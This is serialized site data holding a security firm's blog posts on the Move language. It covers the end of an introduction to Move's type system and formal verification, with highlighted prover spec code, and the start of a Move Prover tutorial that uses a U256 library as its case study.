}\n",[9154],{"type":21,"tag":194,"props":9155,"children":9156},{"__ignoreMap":7},[9157,9221,9263,9286,9331,9344,9356,9395,9418,9506,9513,9538,9546,9567,9587,9687,9695,9723,9731,9743,9767,9802,9809,9817,9824,9839,9855,9873,9918,10024],{"type":21,"tag":198,"props":9158,"children":9159},{"class":200,"line":201},[9160,9164,9169,9173,9178,9182,9187,9191,9195,9200,9204,9208,9212,9217],{"type":21,"tag":198,"props":9161,"children":9162},{"style":226},[9163],{"type":27,"value":7381},{"type":21,"tag":198,"props":9165,"children":9166},{"style":698},[9167],{"type":27,"value":9168}," multiply_vec_by_n_coins",{"type":21,"tag":198,"props":9170,"children":9171},{"style":211},[9172],{"type":27,"value":706},{"type":21,"tag":198,"props":9174,"children":9175},{"style":226},[9176],{"type":27,"value":9177},"input",{"type":21,"tag":198,"props":9179,"children":9180},{"style":683},[9181],{"type":27,"value":185},{"type":21,"tag":198,"props":9183,"children":9184},{"style":226},[9185],{"type":27,"value":9186}," vector",{"type":21,"tag":198,"props":9188,"children":9189},{"style":211},[9190],{"type":27,"value":3159},{"type":21,"tag":198,"props":9192,"children":9193},{"style":1966},[9194],{"type":27,"value":8853},{"type":21,"tag":198,"props":9196,"children":9197},{"style":211},[9198],{"type":27,"value":9199},">)",{"type":21,"tag":198,"props":9201,"children":9202},{"style":683},[9203],{"type":27,"value":185},{"type":21,"tag":198,"props":9205,"children":9206},{"style":226},[9207],{"type":27,"value":9186},{"type":21,"tag":198,"props":9209,"children":9210},{"style":211},[9211],{"type":27,"value":3159},{"type":21,"tag":198,"props":9213,"children":9214},{"style":1966},[9215],{"type":27,"value":9216},"u128",{"type":21,"tag":198,"props":9218,"children":9219},{"style":211},[9220],{"type":27,"value":8093},{"type":21,"tag":198,"props":9222,"children":9223},{"class":200,"line":217},[9224,9228,9233,9237,9241,9245,9250,9254,9258],{"type":21,"tag":198,"props":9225,"children":9226},{"style":249},[9227],{"type":27,"value":8886},{"type":21,"tag":198,"props":9229,"children":9230},{"style":226},[9231],{"type":27,"value":9232}," amounts_times_coins",{"type":21,"tag":198,"props":9234,"children":9235},{"style":683},[9236],{"type":27,"value":979},{"type":21,"tag":198,"props":9238,"children":9239},{"style":211},[9240],{"type":27,"value":9186},{"type":21,"tag":198,"props":9242,"children":9243},{"style":683},[9244],{"type":27,"value":4286},{"type":21,"tag":198,"props":9246,"children":9247},{"style":226},[9248],{"type":27,"value":9249},"empty",{"type":21,"tag":198,"props":9251,"children":9252},{"style":211},[9253],{"type":27,"value":3159},{"type":21,"tag":198,"props":9255,"children":9256},{"style":1966},[9257],{"type":27,"value":9216},{"type":21,"tag":198,"props":9259,"children":9260},{"style":211},[9261],{"type":27,"value":9262},">();\n",{"type":21,"tag":198,"props":9264,"children":9265},{"class":200,"line":236},[9266,9270,9274,9278,9282],{"type":21,"tag":198,"props":9267,"children":9268},{"style":249},[9269],{"type":27,"value":8886},{"type":21,"tag":198,"props":9271,"children":9272},{"style":226},[9273],{"type":27,"value":4203},{"type":21,"tag":198,"props":9275,"children":9276},{"style":683},[9277],{"type":27,"value":979},{"type":21,"tag":198,"props":9279,"children":9280},{"style":2540},[9281],{"type":27,"value":3855},{"type":21,"tag":198,"props":9283,"children":9284},{"style":211},[9285],{"type":27,"value":1483},{"type":21,"tag":198,"props":9287,"children":9288},{"class":200,"line":260},[9289,9293,9298,9302,9306,9310,9315,9319,9323,9327],{"type":21,"tag":198,"props":9290,"children":9291},{"style":249},[9292],{"type":27,"value":8886},{"type":21,"tag":198,"props":9294,"children":9295},{"style":226},[9296],{"type":27,"value":9297}," n_coins",{"type":21,"tag":198,"props":9299,"children":9300},{"style":683},[9301],{"type":27,"value":979},{"type":21,"tag":198,"props":9303,"children":9304},{"style":211},[9305],{"type":27,"value":9186},{"type":21,"tag":198,"props":9307,"children":9308},{"style":683},[9309],{"type":27,"value":4286},{"type":21,"tag":198,"props":9311,"children":9312},{"style":698},[9313],{"type":27,"value":9314},"length",{"type":21,"tag":198,"props":9316,"children":9317},{"style":211},[9318],{"type":27,"value":706},{"type":21,"tag":198,"props":9320,"children":9321},{"style":683},[9322],{"type":27,"value":3917},{"type":21,"tag":198,"props":9324,"children":9325},{"style":226},[9326],{"type":27,"value":9177},{"type":21,"tag":198,"props":9328,"children":9329},{"style":211},[9330],{"type":27,"value":1470},{"type":21,"tag":198,"props":9332,"children":9333},{"class":200,"line":281},[9334,9339],{"type":21,"tag":198,"props":9335,"children":9336},{"style":640},[9337],{"type":27,"value":9338}," while",{"type":21,"tag":198,"props":9340,"children":9341},{"style":211},[9342],{"type":27,"value":9343}," ({\n",{"type":21,"tag":198,"props":9345,"children":9346},{"class":200,"line":302},[9347,9352],{"type":21,"tag":198,"props":9348,"children":9349},{"style":226},[9350],{"type":27,"value":9351}," spec",{"type":21,"tag":198,"props":9353,"children":9354},{"style":211},[9355],{"type":27,"value":233},{"type":21,"tag":198,"props":9357,"children":9358},{"class":200,"line":323},[9359,9364,9369,9373,9378,9382,9387,9391],{"type":21,"tag":198,"props":9360,"children":9361},{"style":226},[9362],{"type":27,"value":9363}," invariant",{"type":21,"tag":198,"props":9365,"children":9366},{"style":698},[9367],{"type":27,"value":9368}," len",{"type":21,"tag":198,"props":9370,"children":9371},{"style":211},[9372],{"type":27,"value":706},{"type":21,"tag":198,"props":9374,"children":9375},{"style":226},[9376],{"type":27,"value":9377},"amounts_times_coins",{"type":21,"tag":198,"props":9379,"children":9380},{"style":211},[9381],{"type":27,"value":1541},{"type":21,"tag":198,"props":9383,"children":9384},{"style":683},[9385],{"type":27,"value":9386},"==",{"type":21,"tag":198,"props":9388,"children":9389},{"style":226},[9390],{"type":27,"value":4203},{"type":21,"tag":198,"props":9392,"children":9393},{"style":211},[9394],{"type":27,"value":1483},{"type":21,"tag":198,"props":9396,"children":9397},{"class":200,"line":344},[9398,9402,9406,9410,9414],{"type":21,"tag":198,"props":9399,"children":9400},{"style":226},[9401],{"type":27,"value":9363},{"type":21,"tag":198,"props":9403,"children":9404},{"style":226},[9405],{"type":27,"value":4203},{"type":21,"tag":198,"props":9407,"children":9408},{"style":683},[9409],{"type":27,"value":9007},{"type":21,"tag":198,"props":9411,"children":9412},{"style":226},[9413],{"type":27,"value":9297},{"type":21,"tag":198,"props":9415,"children":9416},{"style":211},[9417],{"type":27,"value":1483},{"type":21,"tag":198,"props":9419,"children":9420},{"class":200,"line":365},[9421,9425,9430,9435,9439,9443,9447,9451,9455,9459,9463,9468,9473,9477,9482,9486,9490,9494,9498,9502],{"type":21,"tag":198,"props":9422,"children":9423},{"style":226},[9424],{"type":27,"value":9363},{"type":21,"tag":198,"props":9426,"children":9427},{"style":226},[9428],{"type":27,"value":9429}," forall",{"type":21,"tag":198,"props":9431,"children":9432},{"style":226},[9433],{"type":27,"value":9434}," j",{"type":21,"tag":198,"props":9436,"children":9437},{"style":249},[9438],{"type":27,"value":3850},{"type":21,"tag":198,"props":9440,"children":9441},{"style":2540},[9442],{"type":27,"value":3855},{"type":21,"tag":198,"props":9444,"children":9445},{"style":683},[9446],{"type":27,"value":3860},{"type":21,"tag":198,"props":9448,"children":9449},{"style":226},[9450],{"type":27,"value":4544},{"type":21,"tag":198,"props":9452,"children":9453},{"style":683},[9454],{"type":27,"value":185},{"type":21,"tag":198,"props":9456,"children":9457},{"style":226},[9458],{"type":27,"value":9232},{"type":21,"tag":198,"props":9460,"children":9461},{"style":211},[9462],{"type":27,"value":2051},{"type":21,"tag":198,"props":9464,"children":9465},{"style":226},[9466],{"type":27,"value":9467},"j",{"type":21,"tag":198,"props":9469,"children":9470},{"style":211},[9471],{"type":27,"value":9472},"] ",{"type":21,"tag":198,"props":9474,"children":9475},{"style":683},[9476],{"type":27,"value":9386},{"type":21,"tag":198,"props":9478,"children":9479},{"style":226},[9480],{"type":27,"value":9481}," input",{"type":21,"tag":198,"props":9483,"children":9484},{"style":211},[9485],{"type":27,"value":2051},{"type":21,"tag":198,"props":9487,"children":9488},{"style":226},[9489],{"type":27,"value":9467},{"type":21,"tag":198,"props":9491,"children":9492},{"style":211},[9493],{"type":27,"value":9472},{"type":21,"tag":198,"props":9495,"children":9496},{"style":683},[9497],{"type":27,"value":5383},{"type":21,"tag":198,"props":9499,"children":9500},{"style":226},[9501],{"type":27,"value":9297},{"type":21,"tag":198,"props":9503,"children":9504},{"style":211},[9505],{"type":27,"value":1483},{"type":21,"tag":198,"props":9507,"children":9508},{"class":200,"line":386},[9509],{"type":21,"tag":198,"props":9510,"children":9511},{"style":211},[9512],{"type":27,"value":1152},{"type":21,"tag":198,"props":9514,"children":9515},{"class":200,"line":408},[9516,9521,9525,9530,9534],{"type":21,"tag":198,"props":9517,"children":9518},{"style":211},[9519],{"type":27,"value":9520}," (",{"type":21,"tag":198,"props":9522,"children":9523},{"style":226},[9524],{"type":27,"value":4544},{"type":21,"tag":198,"props":9526,"children":9527},{"style":683},[9528],{"type":27,"value":9529}," \u003C",{"type":21,"tag":198,"props":9531,"children":9532},{"style":226},[9533],{"type":27,"value":9297},{"type":21,"tag":198,"props":9535,"children":9536},{"style":211},[9537],{"type":27,"value":789},{"type":21,"tag":198,"props":9539,"children":9540},{"class":200,"line":429},[9541],{"type":21,"tag":198,"props":9542,"children":9543},{"style":211},[9544],{"type":27,"value":9545}," }) {\n",{"type":21,"tag":198,"props":9547,"children":9548},{"class":200,"line":450},[9549,9554,9558,9563],{"type":21,"tag":198,"props":9550,"children":9551},{"style":211},[9552],{"type":27,"value":9553}," vector",{"type":21,"tag":198,"props":9555,"children":9556},{"style":683},[9557],{"type":27,"value":4286},{"type":21,"tag":198,"props":9559,"children":9560},{"style":698},[9561],{"type":27,"value":9562},"push_back",{"type":21,"tag":198,"props":9564,"children":9565},{"style":211},[9566],{"type":27,"value":4268},{"type":21,"tag":198,"props":9568,"children":9569},{"class":200,"line":468},[9570,9575,9579,9583],{"type":21,"tag":198,"props":9571,"children":9572},{"style":683},[9573],{"type":27,"value":9574}," &",{"type":21,"tag":198,"props":9576,"children":9577},{"style":249},[9578],{"type":27,"value":4530},{"type":21,"tag":198,"props":9580,"children":9581},{"style":226},[9582],{"type":27,"value":9232},{"type":21,"tag":198,"props":9584,"children":9585},{"style":211},[9586],{"type":27,"value":257},{"type":21,"tag":198,"props":9588,"children":9589},{"class":200,"line":477},[9590,9595,9599,9604,9608,9613,9617,9621,9625,9630,9634,9639,9643,9648,9653,9658,9662,9666,9670,9675,9679,9683],{"type":21,"tag":198,"props":9591,"children":9592},{"style":211},[9593],{"type":27,"value":9594}," (",{"type":21,"tag":198,"props":9596,"children":9597},{"style":683},[9598],{"type":27,"value":5383},{"type":21,"tag":198,"props":9600,"children":9601},{"style":211},[9602],{"type":27,"value":9603},"vector",{"type":21,"tag":198,"props":9605,"children":9606},{"style":683},[9607],{"type":27,"value":4286},{"type":21,"tag":198,"props":9609,"children":9610},{"style":698},[9611],{"type":27,"value":9612},"borrow",{"type":21,"tag":198,"props":9614,"children":9615},{"style":211},[9616],{"type":27,"value":706},{"type":21,"tag":198,"props":9618,"children":9619},{"style":683},[9620],{"type":27,"value":3917},{"type":21,"tag":198,"props":9622,"children":9623},{"style":226},[9624],{"type":27,"value":9177},{"type":21,"tag":198,"props":9626,"children":9627},{"style":211},[9628],{"type":27,"value":9629},", (",{"type":21,"tag":198,"props":9631,"children":9632},{"style":226},[9633],{"type":27,"value":4544},{"type":21,"tag":198,"props":9635,"children":9636},{"style":249},[9637],{"type":27,"value":9638}," as",{"type":21,"tag":198,"props":9640,"children":9641},{"style":1966},[9642],{"type":27,"value":6673},{"type":21,"tag":198,"props":9644,"children":9645},{"style":211},[9646],{"type":27,"value":9647},")) ",{"type":21,"tag":198,"props":9649,"children":9650},{"style":249},[9651],{"type":27,"value":9652},"as",{"type":21,"tag":198,"props":9654,"children":9655},{"style":1966},[9656],{"type":27,"value":9657}," u128",{"type":21,"tag":198,"props":9659,"children":9660},{"style":211},[9661],{"type":27,"value":1541},{"type":21,"tag":198,"props":9663,"children":9664},{"style":683},[9665],{"type":27,"value":5383},{"type":21,"tag":198,"props":9667,"children":9668},{"style":211},[9669],{"type":27,"value":648},{"type":21,"tag":198,"props":9671,"children":9672},{"style":226},[9673],{"type":27,"value":9674},"n_coins",{"type":21,"tag":198,"props":9676,"children":9677},{"style":249},[9678],{"type":27,"value":9638},{"type":21,"tag":198,"props":9680,"children":9681},{"style":1966},[9682],{"type":27,"value":9657},{"type":21,"tag":198,"props":9684,"children":9685},{"style":211},[9686],{"type":27,"value":789},{"type":21,"tag":198,"props":9688,"children":9689},{"class":200,"line":494},[9690],{"type":21,"tag":198,"props":9691,"children":9692},{"style":211},[9693],{"type":27,"value":9694}," );\n",{"type":21,"tag":198,"props":9696,"children":9697},{"class":200,"line":515},[9698,9703,9707,9711,9715,9719],{"type":21,"tag":198,"props":9699,"children":9700},{"style":226},[9701],{"type":27,"value":9702}," i",{"type":21,"tag":198,"props":9704,"children":9705},{"style":683},[9706],{"type":27,"value":979},{"type":21,"tag":198,"props":9708,"children":9709},{"style":226},[9710],{"type":27,"value":4203},{"type":21,"tag":198,"props":9712,"children":9713},{"style":683},[9714],{"type":27,"value":1440},{"type":21,"tag":198,"props":9716,"children":9717},{"style":2540},[9718],{"type":27,"value":5335},{"type":21,"tag":198,"props":9720,"children":9721},{"style":211},[9722],{"type":27,"value":1483},{"type":21,"tag":198,"props":9724,"children":9725},{"class":200,"line":4484},[9726],{"type":21,"tag":198,"props":9727,"children":9728},{"style":211},[9729],{"type":27,"value":9730}," };\n",{"type":21,"tag":198,"props":9732,"children":9733},{"class":200,"line":4493},[9734,9739],{"type":21,"tag":198,"props":9735,"children":9736},{"style":226},[9737],{"type":27,"value":9738}," spec",{"type":21,"tag":198,"props":9740,"children":9741},{"style":211},[9742],{"type":27,"value":233},{"type":21,"tag":198,"props":9744,"children":9745},{"class":200,"line":4561},[9746,9751,9755,9759,9763],{"type":21,"tag":198,"props":9747,"children":9748},{"style":226},[9749],{"type":27,"value":9750}," assert",{"type":21,"tag":198,"props":9752,"children":9753},{"style":226},[9754],{"type":27,"value":4203},{"type":21,"tag":198,"props":9756,"children":9757},{"style":683},[9758],{"type":27,"value":4089},{"type":21,"tag":198,"props":9760,"children":9761},{"style":226},[9762],{"type":27,"value":9297},{"type":21,"tag":198,"props":9764,"children":9765},{"style":211},[9766],{"type":27,"value":1483},{"type":21,"tag":198,"props":9768,"children":9769},{"class":200,"line":4569},[9770,9774,9778,9782,9786,9790,9794,9798],{"type":21,"tag":198,"props":9771,"children":9772},{"style":226},[9773],{"type":27,"value":9750},{"type":21,"tag":198,"props":9775,"children":9776},{"style":698},[9777],{"type":27,"value":9368},{"type":21,"tag":198,"props":9779,"children":9780},{"style":211},[9781],{"type":27,"value":706},{"type":21,"tag":198,"props":9783,"children":9784},{"style":226},[9785],{"type":27,"value":9177},{"type":21,"tag":198,"props":9787,"children":9788},{"style":211},[9789],{"type":27,"value":1541},{"type":21,"tag":198,"props":9791,"children":9792},{"style":683},[9793],{"type":27,"value":9386},{"type":21,"tag":198,"props":9795,"children":9796},{"style":226},[9797],{"type":27,"value":9297},{"type":21,"tag":198,"props":9799,"children":9800},{"style":211},[9801],{"type":27,"value":1483},{"type":21,"tag":198,"props":9803,"children":9804},{"class":200,"line":4599},[9805],{"type":21,"tag":198,"props":9806,"children":9807},{"style":211},[9808],{"type":27,"value":9730},{"type":21,"tag":198,"props":9810,"children":9811},{"class":200,"line":4607},[9812],{"type":21,"tag":198,"props":9813,"children":9814},{"style":226},[9815],{"type":27,"value":9816}," amounts_times_coins\n",{"type":21,"tag":198,"props":9818,"children":9819},{"class":200,"line":4638},[9820],{"type":21,"tag":198,"props":9821,"children":9822},{"style":211},[9823],{"type":27,"value":2249},{"type":21,"tag":198,"props":9825,"children":9826},{"class":200,"line":4646},[9827,9831,9835],{"type":21,"tag":198,"props":9828,"children":9829},{"style":226},[9830],{"type":27,"value":8956},{"type":21,"tag":198,"props":9832,"children":9833},{"style":226},[9834],{"type":27,"value":9168},{"type":21,"tag":198,"props":9836,"children":9837},{"style":211},[9838],{"type":27,"value":233},{"type":21,"tag":198,"props":9840,"children":9841},{"class":200,"line":4706},[9842,9846,9851],{"type":21,"tag":198,"props":9843,"children":9844},{"style":226},[9845],{"type":27,"value":8972},{"type":21,"tag":198,"props":9847,"children":9848},{"style":226},[9849],{"type":27,"value":9850}," opaque",{"type":21,"tag":198,"props":9852,"children":9853},{"style":211},[9854],{"type":27,"value":1483},{"type":21,"tag":198,"props":9856,"children":9858},{"class":200,"line":9857},27,[9859,9864,9869],{"type":21,"tag":198,"props":9860,"children":9861},{"style":226},[9862],{"type":27,"value":9863}," aborts_if",{"type":21,"tag":198,"props":9865,"children":9866},{"style":249},[9867],{"type":27,"value":9868}," false",{"type":21,"tag":198,"props":9870,"children":9871},{"style":211},[9872],{"type":27,"value":1483},{"type":21,"tag":198,"props":9874,"children":9876},{"class":200,"line":9875},28,[9877,9881,9885,9889,9894,9898,9902,9906,9910,9914],{"type":21,"tag":198,"props":9878,"children":9879},{"style":226},[9880],{"type":27,"value":8997},{"type":21,"tag":198,"props":9882,"children":9883},{"style":698},[9884],{"type":27,"value":9368},{"type":21,"tag":198,"props":9886,"children":9887},{"style":211},[9888],{"type":27,"value":706},{"type":21,"tag":198,"props":9890,"children":9891},{"style":226},[9892],{"type":27,"value":9893},"result",{"type":21,"tag":198,"props":9895,"children":9896},{"style":211},[9897],{"type":27,"value":1541},{"type":21,"tag":198,"props":9899,"children":9900},{"style":683},[9901],{"type":27,"value":9386},{"type":21,"tag":198,"props":9903,"children":9904},{"style":698},[9905],{"type":27,"value":9368},{"type":21,"tag":198,"props":9907,"children":9908},{"style":211},[9909],{"type":27,"value":706},{"type":21,"tag":198,"props":9911,"children":9912},{"style":226},[9913],{"type":27,"value":9177},{"type":21,"tag":198,"props":9915,"children":9916},{"style":211},[9917],{"type":27,"value":1470},{"type":21,"tag":198,"props":9919,"children":9921},{"class":200,"line":9920},29,[9922,9926,9930,9934,9938,9942,9946,9951,9955,9959,9963,9967,9972,9976,9980,9984,9988,9992,9996,10000,10004,10008,10012,10016,10020],{"type":21,"tag":198,"props":9923,"children":9924},{"style":226},[9925],{"type":27,"value":8997},{"type":21,"tag":198,"props":9927,"children":9928},{"style":226},[9929],{"type":27,"value":9429},{"type":21,"tag":198,"props":9931,"children":9932},{"style":226},[9933],{"type":27,"value":9434},{"type":21,"tag":198,"props":9935,"children":9936},{"style":249},[9937],{"type":27,"value":3850},{"type":21,"tag":198,"props":9939,"children":9940},{"style":2540},[9941],{"type":27,"value":3855},{"type":21,"tag":198,"props":9943,"children":9944},{"style":683},[9945],{"type":27,"value":3860},{"type":21,"tag":198,"props":9947,"children":9948},{"style":698},[9949],{"type":27,"value":9950},"len",{"type":21,"tag":198,"props":9952,"children":9953},{"style":211},[9954],{"type":27,"value":706},{"type":21,"tag":198,"props":9956,"children":9957},{"style":226},[9958],{"type":27,"value":9177},{"type":21,"tag":198,"props":9960,"children":9961},{"style":211},[9962],{"type":27,"value":2109},{"type":21,"tag":198,"props":9964,"children":9965},{"style":683},[9966],{"type":27,"value":185},{"type":21,"tag":198,"props":9968,"children":9969},{"style":226},[9970],{"type":27,"value":9971}," result",{"type":21,"tag":198,"props":9973,"children":9974},{"style":211},[9975],{"type":27,"value":2051},{"type":21,"tag":198,"props":9977,"children":9978},{"style":226},[9979],{"type":27,"value":9467},{"type":21,"tag":198,"props":9981,"children":9982},{"style":211},[9983],{"type":27,"value":9472},{"type":21,"tag":198,"props":9985,"children":9986},{"style":683},[9987],{"type":27,"value":9386},{"type":21,"tag":198,"props":9989,"children":9990},{"style":226},[9991],{"type":27,"value":9481},{"type":21,"tag":198,"props":9993,"children":9994},{"style":211},[9995],{"type":27,"value":2051},{"type":21,"tag":198,"props":9997,"children":9998},{"style":226},[9999],{"type":27,"value":9467},{"type":21,"tag":198,"props":10001,"children":10002},{"style":211},[10003],{"type":27,"value":9472},{"type":21,"tag":198,"props":10005,"children":10006},{"style":683},[10007],{"type":27,"value":5383},{"type":21,"tag":198,"props":10009,"children":10010},{"style":698},[10011],{"type":27,"value":9368},{"type":21,"tag":198,"props":10013,"children":10014},{"style":211},[10015],{"type":27,"value":706},{"type":21,"tag":198,"props":10017,"children":10018},{"style":226},[10019],{"type":27,"value":9177},{"type":21,"tag":198,"props":10021,"children":10022},{"style":211},[10023],{"type":27,"value":1470},{"type":21,"tag":198,"props":10025,"children":10027},{"class":200,"line":10026},30,[10028],{"type":21,"tag":198,"props":10029,"children":10030},{"style":211},[10031],{"type":27,"value":2249},{"type":21,"tag":22,"props":10033,"children":10034},{"id":6122},[10035],{"type":27,"value":6125},{"type":21,"tag":30,"props":10037,"children":10038},{},[10039],{"type":27,"value":10040},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":21,"tag":30,"props":10042,"children":10043},{},[10044],{"type":27,"value":10045},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":21,"tag":30,"props":10047,"children":10048},{},[10049,10051,10058],{"type":27,"value":10050},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":21,"tag":34,"props":10052,"children":10055},{"href":10053,"rel":10054},"https://twitter.com/notdeghost/",[38],[10056],{"type":27,"value":10057},"@notdeghost",{"type":27,"value":658},{"type":21,"tag":3645,"props":10060,"children":10061},{},[10062],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":10064},[10065,10066,10067],{"id":6572,"depth":217,"text":6575},{"id":8608,"depth":217,"text":8611},{"id":6122,"depth":217,"text":6125},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":10072,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":10073,"description":10074,"author":6533,"image":10075,"date":10078,"isFeatured":16,"tags":10079,"onBlogPage":16,"body":10082,"_type":3671,"_id":14419,"_source":3673,"_file":14420,"_stem":14421,"_extension":3676},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":10076,"height":10077,"width":6537},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[10080,10081],"move","tutorial",{"type":18,"children":10083,"toc":14405},[10084,10103,10115,10121,10126,10131,10136,10145,10150,10164,10169,10175,10180,10194,10199,10336,10349,10354,10375,10407,10418,10423,10428,10438,10451,10793,10807,10825,10870,10883,10902,11074,11079,11084,11108,11113,11714,11726,11738,11743,11757,11762,11775,11816,11821,11853,11858,11863,11876,12261,12288,12495,12500,12512,12749,12754,12762,12781,13128,13133,13289,13294,13301,13315,13321,13326,13331,13337,13350,13580,13586,13591,13611,13880,13885,13891,13903,13908,13922,13928,13964,14064,14085,14091,14096,14101,14353,14358,14376,14380,14385,14390,14401],{"type":21,"tag":30,"props":10085,"children":10086},{},[10087,10089,10094,10096,10101],{"type":27,"value":10088},"Formal verification -- a powerful tool for ",{"type":21,"tag":1671,"props":10090,"children":10091},{},[10092],{"type":27,"value":10093},"proving",{"type":27,"value":10095}," the correctness of your programs. How does it ",{"type":21,"tag":1671,"props":10097,"children":10098},{},[10099],{"type":27,"value":10100},"actually",{"type":27,"value":10102}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":21,"tag":30,"props":10104,"children":10105},{},[10106,10108,10113],{"type":27,"value":10107},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":21,"tag":1671,"props":10109,"children":10110},{},[10111],{"type":27,"value":10112},"all",{"type":27,"value":10114}," possible inputs.",{"type":21,"tag":22,"props":10116,"children":10118},{"id":10117},"move-prover",[10119],{"type":27,"value":10120},"Move Prover",{"type":21,"tag":30,"props":10122,"children":10123},{},[10124],{"type":27,"value":10125},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":21,"tag":30,"props":10127,"children":10128},{},[10129],{"type":27,"value":10130},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":21,"tag":30,"props":10132,"children":10133},{},[10134],{"type":27,"value":10135},"The architecture of the tool consists of multiple components as illustrated below.",{"type":21,"tag":30,"props":10137,"children":10138},{},[10139],{"type":21,"tag":1376,"props":10140,"children":10144},{"alt":10141,"src":10142,"title":10143},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":21,"tag":30,"props":10146,"children":10147},{},[10148],{"type":27,"value":10149},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":21,"tag":30,"props":10151,"children":10152},{},[10153,10155,10162],{"type":27,"value":10154},"The model is translated into an intermediate language, called ",{"type":21,"tag":34,"props":10156,"children":10159},{"href":10157,"rel":10158},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[38],[10160],{"type":27,"value":10161},"Boogie",{"type":27,"value":10163},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":21,"tag":30,"props":10165,"children":10166},{},[10167],{"type":27,"value":10168},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":21,"tag":22,"props":10170,"children":10172},{"id":10171},"move-specification-language",[10173],{"type":27,"value":10174},"Move Specification Language",{"type":21,"tag":30,"props":10176,"children":10177},{},[10178],{"type":27,"value":10179},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":21,"tag":30,"props":10181,"children":10182},{},[10183,10185,10192],{"type":27,"value":10184},"To better understand how to use the MSL, we will use ",{"type":21,"tag":34,"props":10186,"children":10189},{"href":10187,"rel":10188},"https://github.com/pontem-network/u256",[38],[10190],{"type":27,"value":10191},"Pontem's U256 library",{"type":27,"value":10193},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":21,"tag":30,"props":10195,"children":10196},{},[10197],{"type":27,"value":10198},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":21,"tag":187,"props":10200,"children":10202},{"code":10201,"language":3788,"meta":7,"className":3789,"style":7},"struct U256 has copy, drop, store {\n v0: u64,\n v1: u64,\n v2: u64,\n v3: u64,\n}\n",[10203],{"type":21,"tag":194,"props":10204,"children":10205},{"__ignoreMap":7},[10206,10249,10269,10289,10309,10329],{"type":21,"tag":198,"props":10207,"children":10208},{"class":200,"line":201},[10209,10214,10218,10223,10228,10232,10237,10241,10245],{"type":21,"tag":198,"props":10210,"children":10211},{"style":249},[10212],{"type":27,"value":10213},"struct",{"type":21,"tag":198,"props":10215,"children":10216},{"style":1966},[10217],{"type":27,"value":5542},{"type":21,"tag":198,"props":10219,"children":10220},{"style":226},[10221],{"type":27,"value":10222}," has",{"type":21,"tag":198,"props":10224,"children":10225},{"style":226},[10226],{"type":27,"value":10227}," copy",{"type":21,"tag":198,"props":10229,"children":10230},{"style":211},[10231],{"type":27,"value":828},{"type":21,"tag":198,"props":10233,"children":10234},{"style":226},[10235],{"type":27,"value":10236},"drop",{"type":21,"tag":198,"props":10238,"children":10239},{"style":211},[10240],{"type":27,"value":828},{"type":21,"tag":198,"props":10242,"children":10243},{"style":226},[10244],{"type":27,"value":6753},{"type":21,"tag":198,"props":10246,"children":10247},{"style":211},[10248],{"type":27,"value":233},{"type":21,"tag":198,"props":10250,"children":10251},{"class":200,"line":217},[10252,10257,10261,10265],{"type":21,"tag":198,"props":10253,"children":10254},{"style":226},[10255],{"type":27,"value":10256}," v0",{"type":21,"tag":198,"props":10258,"children":10259},{"style":683},[10260],{"type":27,"value":185},{"type":21,"tag":198,"props":10262,"children":10263},{"style":1966},[10264],{"type":27,"value":6673},{"type":21,"tag":198,"props":10266,"children":10267},{"style":211},[10268],{"type":27,"value":257},{"type":21,"tag":198,"props":10270,"children":10271},{"class":200,"line":236},[10272,10277,10281,10285],{"type":21,"tag":198,"props":10273,"children":10274},{"style":226},[10275],{"type":27,"value":10276}," v1",{"type":21,"tag":198,"props":10278,"children":10279},{"style":683},[10280],{"type":27,"value":185},{"type":21,"tag":198,"props":10282,"children":10283},{"style":1966},[10284],{"type":27,"value":6673},{"type":21,"tag":198,"props":10286,"children":10287},{"style":211},[10288],{"type":27,"value":257},{"type":21,"tag":198,"props":10290,"children":10291},{"class":200,"line":260},[10292,10297,10301,10305],{"type":21,"tag":198,"props":10293,"children":10294},{"style":226},[10295],{"type":27,"value":10296}," v2",{"type":21,"tag":198,"props":10298,"children":10299},{"style":683},[10300],{"type":27,"value":185},{"type":21,"tag":198,"props":10302,"children":10303},{"style":1966},[10304],{"type":27,"value":6673},{"type":21,"tag":198,"props":10306,"children":10307},{"style":211},[10308],{"type":27,"value":257},{"type":21,"tag":198,"props":10310,"children":10311},{"class":200,"line":281},[10312,10317,10321,10325],{"type":21,"tag":198,"props":10313,"children":10314},{"style":226},[10315],{"type":27,"value":10316}," 